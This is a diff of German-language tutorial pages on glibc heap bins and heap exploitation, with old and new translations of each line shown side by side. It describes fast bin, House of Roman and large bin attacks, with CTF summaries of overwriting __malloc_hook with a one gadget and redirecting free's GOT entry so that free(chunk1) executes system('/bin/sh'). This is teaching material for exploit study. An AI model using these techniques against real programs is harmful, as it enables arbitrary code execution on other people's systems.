**Wenn ein Thread** einen Chunk freigibt, **wenn er nicht zu groß ist**, um im tcache zuzugewiesen zu werden, und der entsprechende tcache Bin **nicht voll ist** (bereits 7 Chunks), **wird er dort zugewiesen**. Wenn er nicht in den tcache gehen kann, muss er auf das Heap-Lock warten, um die Freigabeoperation global durchführen zu können.
**Wenn ein Thread** einen Chunk freigibt, **wenn er nicht zu groß ist**, um im Tcache zuzugewiesen zu werden, und der entsprechende Tcache Bin **nicht voll ist** (bereits 7 Chunks), **wird er dort zugewiesen**. Wenn er nicht in den Tcache gehen kann, muss er auf das Heap-Lock warten, um die Freigabeoperation global durchführen zu können.
Wenn ein **Chunk zugewiesen wird**, wird, wenn es einen freien Chunk der benötigten Größe im **Tcache gibt, dieser verwendet**, andernfalls muss er auf das Heap-Lock warten, um einen in den globalen Bins zu finden oder einen neuen zu erstellen.\
Wenn ein **Chunk zugewiesen wird**, wenn es einen freien Chunk der benötigten Größe im **Tcache gibt, wird er verwendet**, andernfalls muss er auf das Heap-Lock warten, um einen in den globalen Bins zu finden oder einen neuen zu erstellen.\
Es gibt auch eine Optimierung, in diesem Fall, während das Heap-Lock aktiv ist, **wird der Thread seinen Tcache mit Heap-Chunks (7) der angeforderten Größe füllen**, sodass er, falls er mehr benötigt, diese im Tcache findet.
<details>
<summary>Fügen Sie ein Beispiel für einen tcache-Chunk hinzu</summary>
<summary>Fügen Sie ein Beispiel für einen Tcache-Chunk hinzu</summary>
```c
#include <stdlib.h>
#include <stdio.h>
@ -153,7 +153,7 @@ Der Tcache hat mehrere Bins, abhängig von der Größe und den initialen Zeigern
### Schnelle Bins
Schnelle Bins sind darauf ausgelegt, **die Speicherzuweisung für kleine Chunks zu beschleunigen**, indem kürzlich freigegebene Chunks in einer schnell zugänglichen Struktur gehalten werden. Diese Bins verwenden einen Last-In, First-Out (LIFO)-Ansatz, was bedeutet, dass der **zuletzt freigegebene Chunk der erste** ist, der wiederverwendet wird, wenn eine neue Zuweisungsanforderung vorliegt. Dieses Verhalten ist vorteilhaft für die Geschwindigkeit, da es schneller ist, von oben eines Stacks (LIFO) zu inserieren und zu entfernen, im Vergleich zu einer Warteschlange (FIFO).
Schnelle Bins sind darauf ausgelegt, **die Speicherzuweisung für kleine Chunks zu beschleunigen**, indem kürzlich freigegebene Chunks in einer schnell zugänglichen Struktur gehalten werden. Diese Bins verwenden einen Last-In, First-Out (LIFO)-Ansatz, was bedeutet, dass der **zuletzt freigegebene Chunk der erste** ist, der wiederverwendet wird, wenn eine neue Zuweisungsanforderung vorliegt. Dieses Verhalten ist vorteilhaft für die Geschwindigkeit, da es schneller ist, von oben auf einen Stapel (LIFO) zuzugreifen und zu entfernen, im Vergleich zu einer Warteschlange (FIFO).
Zusätzlich verwenden **schnelle Bins einfach verkettete Listen**, nicht doppelt verkettete, was die Geschwindigkeit weiter verbessert. Da Chunks in schnellen Bins nicht mit Nachbarn zusammengeführt werden, ist keine komplexe Struktur erforderlich, die eine Entfernung aus der Mitte ermöglicht. Eine einfach verkettete Liste ist für diese Operationen einfacher und schneller.
@ -229,9 +229,9 @@ free(chunks[i]);
return 0;
}
```
Beachten Sie, wie wir 8 Chunks derselben Größe zuweisen und freigeben, sodass sie den tcache füllen und der achte in den Fast Chunk gespeichert wird.
Beachten Sie, wie wir 8 Blöcke derselben Größe zuweisen und freigeben, sodass sie den tcache füllen und der achte im schnellen Block gespeichert wird.
Kompilieren Sie es und debuggen Sie es mit einem Breakpoint im `ret` Opcode der `main` Funktion. Dann können Sie mit `gef` sehen, dass der tcache Bin voll ist und ein Chunk im Fast Bin ist:
Kompilieren Sie es und debuggen Sie es mit einem Haltepunkt im `ret` Opcode der `main` Funktion. Dann können Sie mit `gef` sehen, dass der tcache Bin voll ist und ein Block im schnellen Bin ist:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -242,15 +242,15 @@ Fastbins[idx=1, size=0x30] 0x00
```
</details>
### Unsortierter Bin
### Unsortierte Bin
Der unsortierte Bin ist ein **Cache**, der vom Heap-Manager verwendet wird, um die Speicherzuweisung zu beschleunigen. So funktioniert es: Wenn ein Programm einen Block freigibt und dieser Block nicht in einem tcache oder fast bin zugewiesen werden kann und nicht mit dem Top-Chunk kollidiert, platziert der Heap-Manager ihn nicht sofort in einen bestimmten kleinen oder großen Bin. Stattdessen versucht er zuerst, **ihn mit benachbarten freien Blöcken zu fusionieren**, um einen größeren Block freien Speichers zu schaffen. Dann wird dieser neue Block in einen allgemeinen Bin namens "unsortierter Bin" gelegt.
Die unsortierte Bin ist ein **Cache**, der vom Heap-Manager verwendet wird, um die Speicherzuweisung zu beschleunigen. So funktioniert es: Wenn ein Programm einen Block freigibt und dieser Block nicht in einem tcache oder schnellen Bin zugewiesen werden kann und nicht mit dem oberen Block kollidiert, platziert der Heap-Manager ihn nicht sofort in einer bestimmten kleinen oder großen Bin. Stattdessen versucht er zuerst, **ihn mit benachbarten freien Blöcken zu verbinden**, um einen größeren Block freien Speichers zu schaffen. Dann wird dieser neue Block in eine allgemeine Bin namens "unsortierte Bin" gelegt.
Wenn ein Programm **Speicher anfordert**, **prüft der Heap-Manager den unsortierten Bin**, um zu sehen, ob es einen Block ausreichender Größe gibt. Wenn er einen findet, wird er ihn sofort verwenden. Wenn er im unsortierten Bin keinen geeigneten Block findet, verschiebt er alle Blöcke in dieser Liste in ihre entsprechenden Bins, entweder klein oder groß, basierend auf ihrer Größe.
Wenn ein Programm **Speicher anfordert**, **prüft der Heap-Manager die unsortierte Bin**, um zu sehen, ob ein Block ausreichender Größe vorhanden ist. Wenn er einen findet, wird er ihn sofort verwenden. Wenn er keinen geeigneten Block in der unsortierten Bin findet, verschiebt er alle Blöcke in dieser Liste in ihre entsprechenden Bins, entweder klein oder groß, basierend auf ihrer Größe.
Beachten Sie, dass, wenn ein größerer Block in 2 Hälften geteilt wird und der Rest größer als MINSIZE ist, er wieder in den unsortierten Bin gelegt wird.
Beachten Sie, dass, wenn ein größerer Block in 2 Hälften geteilt wird und der Rest größer als MINSIZE ist, er wieder in die unsortierte Bin gelegt wird.
Der unsortierte Bin ist also eine Möglichkeit, die Speicherzuweisung zu beschleunigen, indem kürzlich freigegebener Speicher schnell wiederverwendet wird und die Notwendigkeit zeitaufwändiger Suchen und Fusionen reduziert wird.
Die unsortierte Bin ist also eine Möglichkeit, die Speicherzuweisung zu beschleunigen, indem kürzlich freigegebener Speicher schnell wiederverwendet wird und die Notwendigkeit zeitaufwändiger Suchen und Zusammenführungen verringert wird.
> [!CAUTION]
> Beachten Sie, dass selbst wenn Blöcke unterschiedlichen Kategorien angehören, wenn ein verfügbarer Block mit einem anderen verfügbaren Block kollidiert (auch wenn sie ursprünglich zu unterschiedlichen Bins gehören), sie zusammengeführt werden.
@ -285,7 +285,7 @@ free(chunks[i]);
return 0;
}
```
Beachten Sie, wie wir 9 Chunks derselben Größe zuweisen und freigeben, sodass sie **den tcache füllen** und der achte in der unsortierten Bin gespeichert wird, weil er **zu groß für den fastbin** ist und der neunte nicht freigegeben wird, sodass der neunte und der achte **nicht mit dem oberen Chunk zusammengeführt werden**.
Beachten Sie, wie wir 9 Chunks derselben Größe zuweisen und freigeben, sodass sie **den tcache füllen** und der achte in der unsortierten Bin gespeichert wird, weil er **zu groß für den fastbin ist** und der neunte nicht freigegeben wird, sodass der neunte und der achte **nicht mit dem oberen Chunk zusammengeführt werden**.
Kompilieren Sie es und debuggen Sie es mit einem Haltepunkt im `ret` Opcode der `main` Funktion. Dann können Sie mit `gef` sehen, dass der tcache Bin voll ist und ein Chunk in der unsortierten Bin ist:
```bash
@ -368,7 +368,7 @@ chunks[9] = malloc(0x110);
return 0;
}
```
Beachten Sie, wie wir 9 Chunks derselben Größe zuweisen und freigeben, sodass sie **den tcache füllen** und der achte in der unsortierten Bin gespeichert wird, weil er **zu groß für den fastbin ist** und der neunte nicht freigegeben wird, sodass der neunte und der achte **nicht mit dem Top-Chunk zusammengeführt werden**. Dann weisen wir einen größeren Chunk von 0x110 zu, was dazu führt, dass **der Chunk in der unsortierten Bin in die kleine Bin geht**.
Beachten Sie, wie wir 9 Chunks derselben Größe zuweisen und freigeben, sodass sie **den tcache füllen** und der achte in der unsortierten Bin gespeichert wird, weil er **zu groß für den fastbin ist** und der neunte nicht freigegeben wird, sodass der neunte und der achte **nicht mit dem oberen Chunk zusammengeführt werden**. Dann weisen wir einen größeren Chunk von 0x110 zu, was dazu führt, dass **der Chunk in der unsortierten Bin in die kleine Bin geht**.
Kompilieren Sie es und debuggen Sie es mit einem Breakpoint im `ret` Opcode der `main` Funktion. Dann können Sie mit `gef` sehen, dass die tcache Bin voll ist und ein Chunk in der kleinen Bin ist:
```bash
@ -394,7 +394,7 @@ Fastbins[idx=6, size=0x80] 0x00
### Große Bins
Im Gegensatz zu kleinen Bins, die Chunks fester Größen verwalten, **verwaltet jeder große Bin einen Bereich von Chunk-Größen**. Dies ist flexibler und ermöglicht es dem System, **verschiedene Größen** unterzubringen, ohne dass ein separater Bin für jede Größe benötigt wird.
Im Gegensatz zu kleinen Bins, die Chunks fester Größen verwalten, **verwaltet jeder große Bin einen Bereich von Chunk-Größen**. Dies ist flexibler und ermöglicht es dem System, **verschiedene Größen** unterzubringen, ohne einen separaten Bin für jede Größe zu benötigen.
In einem Speicher-Allocator beginnen große Bins dort, wo kleine Bins enden. Die Bereiche für große Bins wachsen progressiv größer, was bedeutet, dass der erste Bin Chunks von 512 bis 576 Bytes abdecken könnte, während der nächste von 576 bis 640 Bytes abdeckt. Dieses Muster setzt sich fort, wobei der größte Bin alle Chunks über 1 MB enthält.
@ -468,7 +468,7 @@ chunks[0] = malloc(0x2000);
return 0;
}
```
2 große Zuweisungen werden durchgeführt, dann wird eine freigegeben (was sie in den unsortierten Bin bringt) und eine größere Zuweisung wird vorgenommen (wodurch die freigegebene von dem unsortierten Bin in den großen Bin verschoben wird).
2 große Zuweisungen werden durchgeführt, dann wird eine freigegeben (was sie in den unsortierten Bin bringt) und eine größere Zuweisung wird vorgenommen (wodurch die freie aus dem unsortierten Bin in den großen Bin verschoben wird).
Kompiliere es und debugge es mit einem Haltepunkt im `ret` Opcode der `main` Funktion. Dann kannst du mit `gef` sehen, dass der tcache Bin voll ist und ein Chunk im großen Bin ist:
```bash
@ -494,7 +494,7 @@ Fastbins[idx=6, size=0x80] 0x00
```
</details>
### Oberer Abschnitt
### Top Chunk
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
@ -519,10 +519,10 @@ the 2 preceding words to be zero during this interval as well.)
/* Conveniently, the unsorted bin can be used as dummy top on first call */
#define initial_top(M) (unsorted_chunks (M))
```
Grundsätzlich ist dies ein Block, der den derzeit verfügbaren Heap enthält. Wenn ein malloc durchgeführt wird und kein verfügbarer freier Block vorhanden ist, wird dieser Top Chunk seine Größe reduzieren, um den notwendigen Platz zu schaffen.\
Grundsätzlich ist dies ein Chunk, der den derzeit verfügbaren Heap enthält. Wenn ein malloc durchgeführt wird und kein verfügbarer freier Chunk vorhanden ist, wird dieser Top Chunk seine Größe reduzieren, um den notwendigen Platz zu schaffen.\
Der Zeiger auf den Top Chunk wird in der `malloc_state`-Struktur gespeichert.
Darüber hinaus ist es zu Beginn möglich, den unsortierten Block als Top Chunk zu verwenden.
Darüber hinaus ist es zu Beginn möglich, den unsortierten Chunk als Top Chunk zu verwenden.
<details>
@ -540,7 +540,7 @@ gets(chunk);
return 0;
}
```
Nach dem Kompilieren und Debuggen mit einem Haltepunkt im `ret`-Opcode von `main` sah ich, dass malloc die Adresse `0xaaaaaaac12a0` zurückgab und dies sind die Chunks:
Nachdem ich es kompiliert und mit einem Haltepunkt im `ret`-Opcode von `main` debuggt habe, sah ich, dass malloc die Adresse `0xaaaaaaac12a0` zurückgab und dies sind die Chunks:
```bash
gef➤ heap chunks
Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
@ -562,22 +562,24 @@ gef➤ x/8wx 0xaaaaaaac1ae0 - 16
```
</details>
### Letzter Rest
### Letzte Restgröße
Wenn malloc verwendet wird und ein Chunk geteilt wird (zum Beispiel aus dem unsortierten Bin oder vom Top Chunk), wird der Chunk, der aus dem Rest des geteilten Chunks erstellt wird, als Letzter Rest bezeichnet und sein Zeiger wird in der `malloc_state`-Struktur gespeichert.
Wenn malloc verwendet wird und ein Chunk geteilt wird (zum Beispiel aus dem unsortierten Bin oder vom oberen Chunk), wird der Chunk, der aus dem Rest des geteilten Chunks erstellt wird, als Letzte Restgröße bezeichnet und sein Zeiger wird in der `malloc_state`-Struktur gespeichert.
## Allocationsfluss
Siehe:
{{#ref}}
heap-memory-functions/malloc-and-sysmalloc.md
{{#endref}}
## Freigabefluss
## Freifluss
Siehe:
{{#ref}}
heap-memory-functions/free.md
{{#endref}}
@ -586,6 +588,7 @@ heap-memory-functions/free.md
Überprüfen Sie die Sicherheitsprüfungen, die von häufig verwendeten Funktionen im Heap durchgeführt werden in:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
{{#endref}}

View File

@ -4,13 +4,13 @@
## Grundlegende Informationen
Für weitere Informationen darüber, was ein Fast Bin ist, siehe diese Seite:
Für weitere Informationen darüber, was ein Fast Bin ist, besuchen Sie bitte diese Seite:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
Da der Fast Bin eine einfach verkettete Liste ist, gibt es viel weniger Schutzmaßnahmen als in anderen Bins, und es reicht aus, **eine Adresse in einem freigegebenen Fast Bin** Chunk zu ändern, um **später einen Chunk an einer beliebigen Speicheradresse zuzuweisen**.
Da der Fast Bin eine einfach verkettete Liste ist, gibt es viel weniger Schutzmaßnahmen als in anderen Bins, und es reicht aus, **eine Adresse in einem freigegebenen Fast Bin** Chunk zu ändern, um später **einen Chunk an einer beliebigen Speicheradresse zuzuweisen**.
Zusammenfassend:
```c
@ -118,29 +118,29 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address
}
```
> [!CAUTION]
> Wenn es möglich ist, den Wert der globalen Variable **`global_max_fast`** mit einer großen Zahl zu überschreiben, ermöglicht dies die Erstellung von Fast-Bin-Chunks größerer Größen, was potenziell Fast-Bin-Angriffe in Szenarien ermöglicht, in denen dies zuvor nicht möglich war. Diese Situation ist nützlich im Kontext des [large bin attack](large-bin-attack.md) und [unsorted bin attack](unsorted-bin-attack.md).
> Wenn es möglich ist, den Wert der globalen Variable **`global_max_fast`** mit einer großen Zahl zu überschreiben, ermöglicht dies die Erstellung von Fast-Bin-Chunks größerer Größen, was potenziell Fast-Bin-Angriffe in Szenarien ermöglicht, in denen dies zuvor nicht möglich war. Diese Situation ist im Kontext des [large bin attack](large-bin-attack.md) und des [unsorted bin attack](unsorted-bin-attack.md) nützlich.
## Beispiele
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
- Es ist möglich, Chunks zuzuweisen, sie freizugeben, ihren Inhalt zu lesen und sie (mit einer Overflow-Sicherheitsanfälligkeit) zu füllen.
- **Chunk konsolidieren für Infoleak**: Die Technik besteht im Wesentlichen darin, den Overflow auszunutzen, um eine gefälschte `prev_size` zu erstellen, sodass ein vorheriger Chunk in einen größeren gelegt wird. Wenn der größere Chunk, der einen anderen Chunk enthält, zugewiesen wird, ist es möglich, seine Daten auszudrucken und eine Adresse zu libc (`main_arena+88`) zu leaken.
- **Malloc-Hook überschreiben**: Dazu und durch Ausnutzung der vorherigen Überlappungssituation war es möglich, 2 Chunks zu haben, die auf denselben Speicher zeigten. Daher war es möglich, beide freizugeben (einen anderen Chunk dazwischen freizugeben, um Schutzmaßnahmen zu vermeiden), sodass derselbe Chunk 2 Mal im Fast Bin vorhanden war. Dann war es möglich, ihn erneut zuzuweisen, die Adresse des nächsten Chunks zu überschreiben, um ein wenig vor `__malloc_hook` zu zeigen (damit es auf eine Ganzzahl zeigt, die malloc für eine freie Größe hält - ein weiterer Bypass), ihn erneut zuzuweisen und dann einen anderen Chunk zuzuweisen, der eine Adresse zu malloc-Hooks erhält.\
- **Chunk konsolidieren für Infoleak**: Die Technik besteht im Wesentlichen darin, den Overflow auszunutzen, um eine gefälschte `prev_size` zu erstellen, sodass ein vorheriger Chunk in einen größeren eingefügt wird, sodass beim Zuweisen des größeren Chunks, der einen anderen Chunk enthält, dessen Daten ausgedruckt und eine Adresse zu libc (`main_arena+88`) geleakt werden kann.
- **Malloc-Hook überschreiben**: Dazu und durch Ausnutzung der vorherigen Überlappungssituation war es möglich, 2 Chunks zu haben, die auf denselben Speicher zeigten. Daher war es möglich, beide freizugeben (einen anderen Chunk dazwischen freizugeben, um Schutzmaßnahmen zu vermeiden), sodass derselbe Chunk 2 Mal im Fast-Bin war. Dann war es möglich, ihn erneut zuzuweisen, die Adresse des nächsten Chunks zu überschreiben, um ein Stück vor `__malloc_hook` zu zeigen (damit es auf eine Ganzzahl zeigt, die malloc für eine freie Größe hält - ein weiterer Bypass), ihn erneut zuzuweisen und dann einen anderen Chunk zuzuweisen, der eine Adresse zu malloc-Hooks erhält.\
Schließlich wurde ein **one gadget** dort geschrieben.
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
- Es gibt einen Heap-Overflow und Use-after-free sowie Double-Free, da es möglich ist, die Zeiger wiederzuverwenden und erneut freizugeben, wenn ein Chunk freigegeben wird.
- Es gibt einen Heap-Overflow und Use-after-free sowie Double-free, da es möglich ist, die Zeiger wiederzuverwenden und erneut freizugeben, wenn ein Chunk freigegeben wird.
- **Libc-Infoleak**: Einfach einige Chunks freigeben und sie erhalten einen Zeiger auf einen Teil des Standorts der Hauptarena. Da Sie freigegebene Zeiger wiederverwenden können, lesen Sie einfach diese Adresse.
- **Fast Bin Angriff**: Alle Zeiger auf die Zuweisungen werden in einem Array gespeichert, sodass wir ein paar Fast-Bin-Chunks freigeben und im letzten den Zeiger überschreiben können, um ein wenig vor diesem Array von Zeigern zu zeigen. Dann weisen wir ein paar Chunks mit derselben Größe zu und erhalten zuerst den legitimen und dann den gefälschten, der das Array von Zeigern enthält. Wir können jetzt diese Zuweisungszeiger überschreiben, um die GOT-Adresse von `free` auf `system` zu zeigen und dann `"/bin/sh"` in Chunk 1 zu schreiben, um dann `free(chunk1)` aufzurufen, was stattdessen `system("/bin/sh")` ausführt.
- **Fast-Bin-Angriff**: Alle Zeiger auf die Zuweisungen werden in einem Array gespeichert, sodass wir ein paar Fast-Bin-Chunks freigeben und im letzten den Zeiger überschreiben können, um ein Stück vor diesem Array von Zeigern zu zeigen. Dann weisen wir ein paar Chunks mit derselben Größe zu und wir erhalten zuerst den legitimen und dann den gefälschten, der das Array von Zeigern enthält. Wir können jetzt diese Zuweisungszeiger überschreiben, um die GOT-Adresse von `free` auf `system` zu zeigen und dann `"/bin/sh"` in Chunk 1 zu schreiben, um dann `free(chunk1)` aufzurufen, was stattdessen `system("/bin/sh")` ausführt.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Ein weiteres Beispiel für die Ausnutzung eines ein Byte großen Overflows zur Konsolidierung von Chunks im unsortierten Bin und um einen libc-Infoleak zu erhalten und dann einen Fast-Bin-Angriff durchzuführen, um den malloc-Hook mit einer One-Gadget-Adresse zu überschreiben.
- Ein weiteres Beispiel für die Ausnutzung eines ein Byte großen Overflows, um Chunks im unsortierten Bin zu konsolidieren und einen libc-Infoleak zu erhalten und dann einen Fast-Bin-Angriff durchzuführen, um den malloc-Hook mit einer One-Gadget-Adresse zu überschreiben.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
- Nach einem Infoleak, der den unsortierten Bin mit einem UAF ausnutzt, um eine libc-Adresse und eine PIE-Adresse zu leaken, verwendete der Exploit dieses CTF einen Fast-Bin-Angriff, um einen Chunk an einem Ort zuzuweisen, an dem die Zeiger auf kontrollierte Chunks lagen, sodass es möglich war, bestimmte Zeiger zu überschreiben, um ein One-Gadget in der GOT zu schreiben.
- Sie können einen Fast Bin-Angriff finden, der durch einen unsortierten Bin-Angriff ausgenutzt wird:
- Sie können einen Fast-Bin-Angriff finden, der durch einen unsortierten Bin-Angriff ausgenutzt wird:
- Beachten Sie, dass es üblich ist, vor der Durchführung von Fast-Bin-Angriffen die Freilisten auszunutzen, um libc/Heap-Adressen zu leaken (wenn nötig).
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- Wir können nur Chunks mit einer Größe größer als `0x100` zuweisen.
- Überschreiben Sie `global_max_fast` mit einem Unsorted Bin-Angriff (funktioniert 1/16 Mal aufgrund von ASLR, da wir 12 Bits ändern müssen, aber 16 Bits ändern müssen).
- Fast Bin-Angriff zur Modifikation eines globalen Arrays von Chunks. Dies bietet eine willkürliche Lese-/Schreibprimitive, die es ermöglicht, die GOT zu modifizieren und einige Funktionen auf `system` zu zeigen.
- Fast-Bin-Angriff, um ein globales Array von Chunks zu modifizieren. Dies bietet eine willkürliche Lese-/Schreibprimitive, die es ermöglicht, die GOT zu modifizieren und einige Funktionen auf `system` zu zeigen.
{{#ref}}
unsorted-bin-attack.md

View File

@ -6,6 +6,7 @@
Für weitere Informationen siehe:
{{#ref}}
unlink.md
{{#endref}}
@ -23,6 +24,7 @@ Dies ist eine Zusammenfassung der durchgeführten Überprüfungen:
Für weitere Informationen siehe:
{{#ref}}
malloc-and-sysmalloc.md
{{#endref}}
@ -62,10 +64,10 @@ malloc-and-sysmalloc.md
- Fehlermeldung: `malloc(): largebin double linked list corrupted (nextsize)`
- Wenn `fwd->bk->fd != fwd`:
- Fehlermeldung: `malloc(): largebin double linked list corrupted (bk)`
- **Überprüfungen während der großen Bin (nach Index) Suche:**
- **Überprüfungen während der großen Bin-Suche (nach Index):**
- `bck->fd-> bk != bck`:
- Fehlermeldung: `malloc(): corrupted unsorted chunks`
- **Überprüfungen während der großen Bin (nächste größere) Suche:**
- **Überprüfungen während der großen Bin-Suche (nächste größere):**
- `bck->fd-> bk != bck`:
- Fehlermeldung: `malloc(): corrupted unsorted chunks2`
- **Überprüfungen während der Verwendung des Top-Chunks:**
@ -94,6 +96,7 @@ malloc-and-sysmalloc.md
Für weitere Informationen siehe:
{{#ref}}
free.md
{{#endref}}
@ -125,7 +128,7 @@ free.md
- Fehlermeldung: `double free or corruption (top)`
- Wenn der nächste Chunk außerhalb der Grenzen der Arena liegt:
- Fehlermeldung: `double free or corruption (out)`
- Wenn der Chunk nicht als verwendet markiert ist (in der prev_inuse des folgenden Chunks):
- Wenn der Chunk nicht als verwendet markiert ist (im prev_inuse des folgenden Chunks):
- Fehlermeldung: `double free or corruption (!prev)`
- Wenn der nächste Chunk eine zu kleine oder zu große Größe hat:
- Fehlermeldung: `free(): invalid next size (normal)`

View File

@ -30,7 +30,7 @@ Erstellen Sie mehrere Chunks:
- `main_arena_use` (0x80, Offset 0x100)
- `relative_offset_heap` (0x60, Offset 0x190): relativer Offset auf den 'main_arena_use'-Chunk
Dann `free(main_arena_use)`, was diesen Chunk in die unsorted-Liste platziert und einen Zeiger auf `main_arena + 0x68` in den `fd`- und `bk`-Zeigern erhält.
Dann `free(main_arena_use)`, was diesen Chunk in die unsorted-Liste platziert und einen Zeiger auf `main_arena + 0x68` in beiden `fd` und `bk` Zeigern erhält.
Jetzt wird ein neuer Chunk `fake_libc_chunk(0x60)` zugewiesen, da er die Zeiger auf `main_arena + 0x68` in `fd` und `bk` enthalten wird.
@ -57,11 +57,11 @@ Für die vorherigen Aktionen muss der Angreifer in der Lage sein, den fd-Zeiger
Dann ist `main_arena + 0x68` nicht so interessant, also lassen Sie uns es ändern, damit der Zeiger auf **`__malloc_hook`** zeigt.
Beachten Sie, dass `__memalign_hook` normalerweise mit `0x7f` beginnt und davor Nullen hat, dann ist es möglich, es als einen Wert im `0x70` Fast Bin zu fälschen. Da die letzten 4 Bits der Adresse **zufällig** sind, gibt es `2^4=16` Möglichkeiten für den Wert, um dort zu enden, wo wir interessiert sind. Daher wird hier ein BF-Angriff durchgeführt, sodass der Chunk endet wie: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
Beachten Sie, dass `__memalign_hook` normalerweise mit `0x7f` beginnt und davor Nullen hat, dann ist es möglich, es als einen Wert im `0x70` Fast Bin zu fälschen. Da die letzten 4 Bits der Adresse **zufällig** sind, gibt es `2^4=16` Möglichkeiten für den Wert, auf den wir interessiert sind. Daher wird hier ein BF-Angriff durchgeführt, sodass der Chunk endet wie: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
(Für weitere Informationen zu den restlichen Bytes überprüfen Sie die Erklärung im [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ Beispiel](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Wenn der BF nicht funktioniert, stürzt das Programm einfach ab (also starten Sie erneut, bis es funktioniert).
Dann werden 2 Mallocs durchgeführt, um die 2 initialen Fast Bin Chunks zu entfernen, und ein dritter wird alloziert, um einen Chunk in der **`__malloc_hook:`** zu erhalten.
Dann werden 2 Mallocs durchgeführt, um die 2 initialen Fast Bin Chunks zu entfernen, und ein dritter wird alloziert, um einen Chunk in **`__malloc_hook:`** zu erhalten.
```c
malloc(0x60);
malloc(0x60);
@ -71,6 +71,7 @@ uint8_t* malloc_hook_chunk = malloc(0x60);
Für weitere Informationen können Sie überprüfen:
{{#ref}}
unsorted-bin-attack.md
{{#endref}}
@ -86,7 +87,7 @@ puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);
```
Verwenden Sie ein UAF in diesem Chunk, um `unsorted_bin_ptr->bk` auf die Adresse von `__malloc_hook` zu zeigen (wir haben dies zuvor brute-forced).
Verwenden Sie ein UAF in diesem Abschnitt, um `unsorted_bin_ptr->bk` auf die Adresse von `__malloc_hook` zu zeigen (wir haben dies zuvor brute-forced).
> [!CAUTION]
> Beachten Sie, dass dieser Angriff den unsortierten Bin (und damit auch den kleinen und großen) beschädigt. Daher können wir jetzt nur **Allokationen aus dem schnellen Bin verwenden** (ein komplexeres Programm könnte andere Allokationen durchführen und abstürzen), und um dies auszulösen, müssen wir **die gleiche Größe allokieren, sonst wird das Programm abstürzen.**

View File

@ -17,10 +17,10 @@ Im Grunde genommen sieht man hier, dass in der neuesten "aktuellen" Version von
In diesem Beispiel finden sich die folgenden Bedingungen:
- Ein großer Chunk wird zugewiesen
- Ein großer Chunk, der kleiner ist als der erste, aber im selben Index ist, wird zugewiesen
- Muss kleiner sein, damit er zuerst in den Bin geht
- Ein großer Chunk, der kleiner als der erste ist, aber im selben Index, wird zugewiesen
- Muss kleiner sein, damit er zuerst in den Bin kommt
- (Ein Chunk wird erstellt, um das Zusammenführen mit dem oberen Chunk zu verhindern)
- Dann wird der erste große Chunk freigegeben und ein neuer Chunk, der größer ist als dieser, wird zugewiesen -> Chunk1 geht in den großen Bin
- Dann wird der erste große Chunk freigegeben und ein neuer Chunk, der größer ist, wird zugewiesen -> Chunk1 geht in den großen Bin
- Dann wird der zweite große Chunk freigegeben
- Jetzt die Verwundbarkeit: Der Angreifer kann `chunk1->bk_nextsize` auf `[target-0x20]` modifizieren
- Dann wird ein größerer Chunk als Chunk 2 zugewiesen, sodass Chunk2 in den großen Bin eingefügt wird und die Adresse `chunk1->bk_nextsize->fd_nextsize` mit der Adresse von Chunk2 überschreibt
@ -42,14 +42,14 @@ victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_next
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
}
```
Dies könnte verwendet werden, um **die globale Variable `global_max_fast` von libc zu überschreiben**, um dann einen Fast-Bin-Angriff mit größeren Chunks auszunutzen.
Dies könnte verwendet werden, um **die globale Variable `global_max_fast`** von libc zu überschreiben, um dann einen Fast-Bin-Angriff mit größeren Chunks auszunutzen.
Eine weitere großartige Erklärung dieses Angriffs finden Sie bei [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html).
Sie finden eine weitere großartige Erklärung dieses Angriffs in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html).
### Weitere Beispiele
- [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
- Large Bin Angriff in der gleichen Situation, wie er in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c) erscheint.
- Fast-Bin-Angriff in derselben Situation, wie er in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c) erscheint.
- Der Schreibprimitive ist komplexer, da `global_max_fast` hier nutzlos ist.
- FSOP wird benötigt, um den Exploit abzuschließen.

View File

@ -14,34 +14,34 @@ Zunächst einmal ist zu beachten, dass der Tcache in Glibc Version 2.26 eingefü
